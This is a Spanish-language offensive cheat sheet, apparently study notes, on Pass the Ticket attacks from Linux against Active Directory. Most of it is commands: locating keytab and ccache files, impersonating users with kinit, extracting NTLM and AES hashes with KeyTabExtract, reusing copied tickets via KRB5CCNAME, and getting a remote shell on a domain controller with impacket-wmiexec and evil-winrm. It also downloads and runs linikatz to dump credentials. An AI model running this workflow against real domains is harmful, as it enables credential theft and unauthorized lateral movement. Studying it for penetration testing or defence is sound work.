Pass the Ticket (PtT) desde Linux - Keytabs, CCache y Movimiento Lateral
📌 Contexto
-
Linux puede integrarse en un dominio de Active Directory (AD) para unificar la gestión de usuarios y grupos.
-
La autenticación se hace mediante Kerberos (igual que en Windows).
-
🚨 Importante: no necesitas que la máquina esté unida al dominio para usar tickets Kerberos → si consigues un keytab o un ccache, puedes autenticarlos en tus scripts o sesiones.
🔍 Identificar Integración con AD
1. Usando realm list
realm list
-
Muestra si la máquina está unida a un dominio.
-
Indica el dominio, los controladores de dominio y los usuarios permitidos.

2. Procesos activos (SSSD o Winbind)
ps -ef | grep -i "winbind\|sssd"
-
SSSD y Winbind son los demonios que gestionan la autenticación con AD.
-
Si están corriendo ➝ la máquina está unida al dominio.
🎯 Encontrar Tickets Kerberos
1. 🔑 KeyTab Files
-
Son archivos que almacenan credenciales Kerberos (clave secreta ligada a un principal).
-
Extensiones comunes:
.keytab,.kt.
find / -name *keytab* -ls 2>/dev/null

2. 📁 CCache Files
-
Guardan tickets activos de Kerberos.
-
Suelen estar en
/tmpcon el formatokrb5cc_<UID>. -
La variable
KRB5CCNAMEapunta al ticket actual.
env | grep -i krb5 # Ver variable
ls -la /tmp # Buscar archivos ccache

⚡ Abusar de KeyTab Files
1. Listar información del KeyTab
klist -k -t /ruta/al/keytab.keytab

2. Suplantar usuario con kinit
kinit usuario@DOMINIO.COM -k -t /ruta/al/keytab.keyta
-
-k: Usar keytab. -
-t: Especificar ruta del keytab.
3. Ver tickets actuales
klist
4. Acceder a recursos (ej. SMB)
smbclient //servidor/recurso -k -c ls


🧪 Extraer Hashes de KeyTab
Usar KeyTabExtract
-
Los keytabs pueden contener claves en distintos formatos: NTLM, AES-256, AES-128.
-
Con KeyTabExtract puedes sacar los hashes:
python3 keytabextract.py keytab.keytab

-
Extrae hashes NTLM, AES-256, y AES-128.
-
Puedes crackear los hashes o usar them para Pass the Hash.
🎫 Abusar de CCache Files
1. Copiar el archivo ccache
cp /tmp/krb5cc_647401106_YDzFNv /root/
2. Establecer variable de entorno
export KRB5CCNAME=/root/krb5cc_647401106_YDzFNv
3. Usar herramientas con Kerberos
smbclient //dc01/C$ -k -no-pass

🛠️ Herramientas con Soporte Kerberos
Una vez tienes un ticket válido (keytab/ccache/kirbi), puedes usarlo para moverte lateralmente dentro del dominio:
🔹 Impacket
-
Colección de scripts para interactuar con servicios de Windows/AD.
-
Ejemplo:
wmiexec,psexec,smbexec. -
Con
-k -no-passle dices:
👉 “usa el ticket Kerberos que ya tengo cargado, no me pidas password/NTLM”.
proxychains impacket-wmiexec dc01 -k -no-pass
➡️ Esto te da una shell remota en el DC usando solo el ticket.
🔹 Evil-WinRM
-
Herramienta muy usada para entrar en PowerShell Remoting (WinRM).
-
Normalmente pide usuario/contraseña o hash, pero con Kerberos puedes evitar eso.
-
Necesitas configurar
/etc/krb5.confcon tu dominio.
proxychains evil-winrm -i dc01 -r DOMINIO.COM
➡️ Abres una sesión PowerShell en la máquina víctima usando el ticket Kerberos.
🔹 Convertir tickets (Linux ↔ Windows)
-
En Linux los tickets se guardan como CCache.
-
En Windows (Mimikatz, Rubeus, etc.) se usan en formato KIRBI.
-
Si robas un ticket en un sistema, puedes pasarlo al otro con
ticketConverter:
# De Linux (CCache) a Windows (KIRBI)
impacket-ticketConverter ticket.ccache ticket.kirbi
# De Windows (KIRBI) a Linux (CCache)
impacket-ticketConverter ticket.kirbi ticket.ccache
🔓 Linikatz (Mimikatz para Linux)
-
Extrae credenciales de implementaciones Kerberos (SSSD, Samba, etc.).
-
Requiere privilegios root.
wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
chmod +x linikatz.sh
./linikatz.sh
📌 Consideraciones Importantes
-
🔑 Necesitas permisos para leer archivos
.keytaboccache. -
⏳ Los tickets tienen tiempo de vida limitado (ej. 10h).
-
🌐 Asegúrate de que la máquina resuelva bien los nombres de dominio (
/etc/hostso DNS). -
🔗 Necesitas conectividad con el KDC (Domain Controller).
🧠 Comandos Clave
| Comando | Explicación |
|---|---|
realm list |
Ver información del dominio |
klist -k -t keytab |
Ver entradas de un keytab |
kinit user -k -t keytab |
Cargar keytab como ticket válido |
export KRB5CCNAME=/ruta |
Usar ticket ccache |
smbclient //srv/share -k |
Acceder a recurso SMB con Kerberos |
impacket-wmiexec -k -no-pass |
Shell remota con ticket Kerberos |
evil-winrm -i host -r dominio |
Sesión PowerShell con ticket Kerberos |
ticketConverter |
Convertir entre CCache ↔ KIRBI |